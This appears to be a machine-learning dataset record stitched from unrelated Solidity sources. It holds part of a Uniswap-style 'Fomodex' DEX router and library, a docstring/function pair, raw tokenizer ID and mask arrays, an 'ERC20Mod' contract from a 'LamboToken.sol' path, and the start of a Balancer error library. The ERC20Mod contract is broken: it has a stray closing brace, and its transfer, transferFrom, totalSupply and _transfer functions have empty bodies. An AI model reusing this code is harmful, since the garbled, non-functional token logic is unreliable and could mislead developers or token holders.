amounts = FomodexLibrary.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'FomodexRouter: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, FomodexLibrary.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'FomodexRouter: INVALID_PATH');
amounts = FomodexLibrary.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= msg.value, 'FomodexRouter: EXCESSIVE_INPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(FomodexLibrary.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
// refund dust eth, if any
if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]);
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = FomodexLibrary.sortTokens(input, output);
IFomodexPair pair = IFomodexPair(FomodexLibrary.pairFor(factory, input, output));
uint amountInput;
uint amountOutput;
{ // scope to avoid stack too deep errors
(uint reserve0, uint reserve1,) = pair.getReserves();
(uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
amountInput = IERC20(input).balanceOf(address(pair)).sub(reserveInput);
amountOutput = FomodexLibrary.getAmountOut(amountInput, reserveInput, reserveOutput);
}
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0));
address to = i < path.length - 2 ? FomodexLibrary.pairFor(factory, output, path[i + 2]) : _to;
pair.swap(amount0Out, amount1Out, to, new bytes(0));
}
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) {
TransferHelper.safeTransferFrom(
path[0], msg.sender, FomodexLibrary.pairFor(factory, path[0], path[1]), amountIn
);
uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'FomodexRouter: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
payable
ensure(deadline)
{
require(path[0] == WETH, 'FomodexRouter: INVALID_PATH');
uint amountIn = msg.value;
IWETH(WETH).deposit{value: amountIn}();
assert(IWETH(WETH).transfer(FomodexLibrary.pairFor(factory, path[0], path[1]), amountIn));
uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'FomodexRouter: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
ensure(deadline)
{
require(path[path.length - 1] == WETH, 'FomodexRouter: INVALID_PATH');
TransferHelper.safeTransferFrom(
path[0], msg.sender, FomodexLibrary.pairFor(factory, path[0], path[1]), amountIn
);
_swapSupportingFeeOnTransferTokens(path, address(this));
uint amountOut = IERC20(WETH).balanceOf(address(this));
require(amountOut >= amountOutMin, 'FomodexRouter: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).withdraw(amountOut);
TransferHelper.safeTransferETH(to, amountOut);
}
// **** LIBRARY FUNCTIONS ****
function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) {
return FomodexLibrary.quote(amountA, reserveA, reserveB);
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountOut)
{
return FomodexLibrary.getAmountOut(amountIn, reserveIn, reserveOut);
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountIn)
{
return FomodexLibrary.getAmountIn(amountOut, reserveIn, reserveOut);
}
function getAmountsOut(uint amountIn, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return FomodexLibrary.getAmountsOut(factory, amountIn, path);
}
function getAmountsIn(uint amountOut, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return FomodexLibrary.getAmountsIn(factory, amountOut, path);
}
}
pragma solidity >=0.5.0;
interface IFomodexFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity >=0.6.0;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
pragma solidity >=0.6.2;
import './IFomodexRouter01.sol';
interface IFomodexRouter02 is IFomodexRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity >=0.5.0;
import '../interfaces/IFomodexPair.sol';
import "./SafeMath.sol";
library FomodexLibrary {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'FomodexLibrary: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'FomodexLibrary: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'6b17f6c33349c7eaef1f6fbb2631b4d415285a9854dc23586b60ef019667b93f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
pairFor(factory, tokenA, tokenB);
(uint reserve0, uint reserve1,) = IFomodexPair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'FomodexLibrary: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'FomodexLibrary: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'FomodexLibrary: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'FomodexLibrary: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(998);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'FomodexLibrary: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'FomodexLibrary: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(998);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'FomodexLibrary: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'FomodexLibrary: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
pragma solidity =0.6.6;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
pragma solidity >=0.5.0;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
pragma solidity >=0.6.2;
interface IFomodexRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity >=0.5.0;
interface IFomodexPair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
|
given an output amount of an asset and pair reserves, returns a required input amount of the other asset
|
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'FomodexLibrary: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'FomodexLibrary: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(998);
amountIn = (numerator / denominator).add(1);
}
| 14,013,079 |
[
1,
10822,
392,
876,
3844,
434,
392,
3310,
471,
3082,
400,
264,
3324,
16,
1135,
279,
1931,
810,
3844,
434,
326,
1308,
3310,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
24418,
382,
12,
11890,
3844,
1182,
16,
2254,
20501,
382,
16,
2254,
20501,
1182,
13,
2713,
16618,
1135,
261,
11890,
3844,
382,
13,
288,
203,
3639,
2583,
12,
8949,
1182,
405,
374,
16,
296,
42,
362,
390,
92,
9313,
30,
2120,
6639,
42,
1653,
7266,
2222,
67,
15527,
67,
2192,
51,
5321,
8284,
203,
3639,
2583,
12,
455,
6527,
382,
405,
374,
597,
20501,
1182,
405,
374,
16,
296,
42,
362,
390,
92,
9313,
30,
2120,
6639,
42,
1653,
7266,
2222,
67,
2053,
53,
3060,
4107,
8284,
203,
3639,
2254,
16730,
273,
20501,
382,
18,
16411,
12,
8949,
1182,
2934,
16411,
12,
18088,
1769,
203,
3639,
2254,
15030,
273,
20501,
1182,
18,
1717,
12,
8949,
1182,
2934,
16411,
12,
2733,
28,
1769,
203,
3639,
3844,
382,
273,
261,
2107,
7385,
342,
15030,
2934,
1289,
12,
21,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x44EB8f6C496eAA8e0321006d3c61d851f87685BD/sources/LamboToken.sol
|
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
|
contract ERC20Mod is Context, IERC20, IERC20Metadata {
mapping (address => uint256) internal _RealBalances;
mapping (address => mapping (address => uint256)) internal _allowances;
string internal _name;
string internal _symbol;
}
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _RealBalances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) { }
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { }
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual { }
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| 3,900,195 |
[
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
1450,
288,
67,
81,
474,
5496,
2457,
279,
5210,
12860,
2621,
288,
654,
39,
3462,
18385,
49,
2761,
16507,
1355,
5496,
399,
2579,
30,
2457,
279,
6864,
1045,
416,
2621,
3134,
7343,
358,
2348,
14467,
1791,
28757,
8009,
1660,
1240,
10860,
7470,
3502,
62,
881,
84,
292,
267,
9875,
14567,
30,
4186,
15226,
3560,
434,
5785,
1375,
5743,
68,
603,
5166,
18,
1220,
6885,
353,
1661,
546,
12617,
15797,
287,
471,
1552,
486,
7546,
598,
326,
26305,
434,
4232,
39,
3462,
12165,
18,
26775,
16,
392,
288,
23461,
97,
871,
353,
17826,
603,
4097,
358,
288,
13866,
1265,
5496,
1220,
5360,
12165,
358,
23243,
326,
1699,
1359,
364,
777,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
16351,
4232,
39,
3462,
1739,
353,
1772,
16,
467,
654,
39,
3462,
16,
467,
654,
39,
3462,
2277,
288,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
2713,
389,
6955,
38,
26488,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
2713,
389,
5965,
6872,
31,
203,
203,
203,
565,
533,
2713,
389,
529,
31,
203,
565,
533,
2713,
389,
7175,
31,
203,
203,
97,
203,
565,
3885,
261,
1080,
3778,
508,
67,
16,
533,
3778,
3273,
67,
13,
288,
203,
3639,
389,
529,
273,
508,
67,
31,
203,
3639,
389,
7175,
273,
3273,
67,
31,
203,
565,
289,
203,
203,
565,
445,
508,
1435,
1071,
1476,
5024,
3849,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
529,
31,
203,
565,
289,
203,
203,
565,
445,
3273,
1435,
1071,
1476,
5024,
3849,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
7175,
31,
203,
565,
289,
203,
203,
565,
445,
15105,
1435,
1071,
1476,
5024,
3849,
1135,
261,
11890,
28,
13,
288,
203,
3639,
327,
6549,
31,
203,
565,
289,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
1476,
5024,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
565,
289,
203,
203,
565,
445,
11013,
951,
12,
2867,
2236,
13,
1071,
1476,
5024,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
389,
6955,
38,
26488,
63,
4631,
15533,
203,
565,
289,
203,
203,
203,
565,
445,
7412,
12,
2867,
8027,
16,
2254,
5034,
3844,
13,
1071,
5024,
3849,
1135,
261,
6430,
2
] |
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
// solhint-disable
/**
* @dev Reverts if `condition` is false, with a revert reason containing `errorCode`. Only codes up to 999 are
* supported.
*/
function _require(bool condition, uint256 errorCode) pure {
if (!condition) _revert(errorCode);
}
/**
* @dev Reverts with a revert reason containing `errorCode`. Only codes up to 999 are supported.
*/
function _revert(uint256 errorCode) pure {
// We're going to dynamically create a revert string based on the error code, with the following format:
// 'BAL#{errorCode}'
// where the code is left-padded with zeroes to three digits (so they range from 000 to 999).
//
// We don't have revert strings embedded in the contract to save bytecode size: it takes much less space to store a
// number (8 to 16 bits) than the individual string characters.
//
// The dynamic string creation algorithm that follows could be implemented in Solidity, but assembly allows for a
// much denser implementation, again saving bytecode size. Given this function unconditionally reverts, this is a
// safe place to rely on it without worrying about how its usage might affect e.g. memory contents.
assembly {
// First, we need to compute the ASCII representation of the error code. We assume that it is in the 0-999
// range, so we only need to convert three digits. To convert the digits to ASCII, we add 0x30, the value for
// the '0' character.
let units := add(mod(errorCode, 10), 0x30)
errorCode := div(errorCode, 10)
let tenths := add(mod(errorCode, 10), 0x30)
errorCode := div(errorCode, 10)
let hundreds := add(mod(errorCode, 10), 0x30)
// With the individual characters, we can now construct the full string. The "BAL#" part is a known constant
// (0x42414c23): we simply shift this by 24 (to provide space for the 3 bytes of the error code), and add the
// characters to it, each shifted by a multiple of 8.
// The revert reason is then shifted left by 200 bits (256 minus the length of the string, 7 characters * 8 bits
// per character = 56) to locate it in the most significant part of the 256 slot (the beginning of a byte
// array).
let revertReason := shl(200, add(0x42414c23000000, add(add(units, shl(8, tenths)), shl(16, hundreds))))
// We can now encode the reason in memory, which can be safely overwritten as we're about to revert. The encoded
// message will have the following layout:
// [ revert reason identifier ] [ string location offset ] [ string length ] [ string contents ]
// The Solidity revert reason identifier is 0x08c739a0, the function selector of the Error(string) function. We
// also write zeroes to the next 28 bytes of memory, but those are about to be overwritten.
mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
// Next is the offset to the location of the string, which will be placed immediately after (20 bytes away).
mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020)
// The string length is fixed: 7 characters.
mstore(0x24, 7)
// Finally, the string itself is stored.
mstore(0x44, revertReason)
// Even if the string is only 7 bytes long, we need to return a full 32 byte slot containing it. The length of
// the encoded message is therefore 4 + 32 + 32 + 32 = 100.
revert(0, 100)
}
}
library Errors {
// Math
uint256 internal constant ADD_OVERFLOW = 0;
uint256 internal constant SUB_OVERFLOW = 1;
uint256 internal constant SUB_UNDERFLOW = 2;
uint256 internal constant MUL_OVERFLOW = 3;
uint256 internal constant ZERO_DIVISION = 4;
uint256 internal constant DIV_INTERNAL = 5;
uint256 internal constant X_OUT_OF_BOUNDS = 6;
uint256 internal constant Y_OUT_OF_BOUNDS = 7;
uint256 internal constant PRODUCT_OUT_OF_BOUNDS = 8;
uint256 internal constant INVALID_EXPONENT = 9;
// Input
uint256 internal constant OUT_OF_BOUNDS = 100;
uint256 internal constant UNSORTED_ARRAY = 101;
uint256 internal constant UNSORTED_TOKENS = 102;
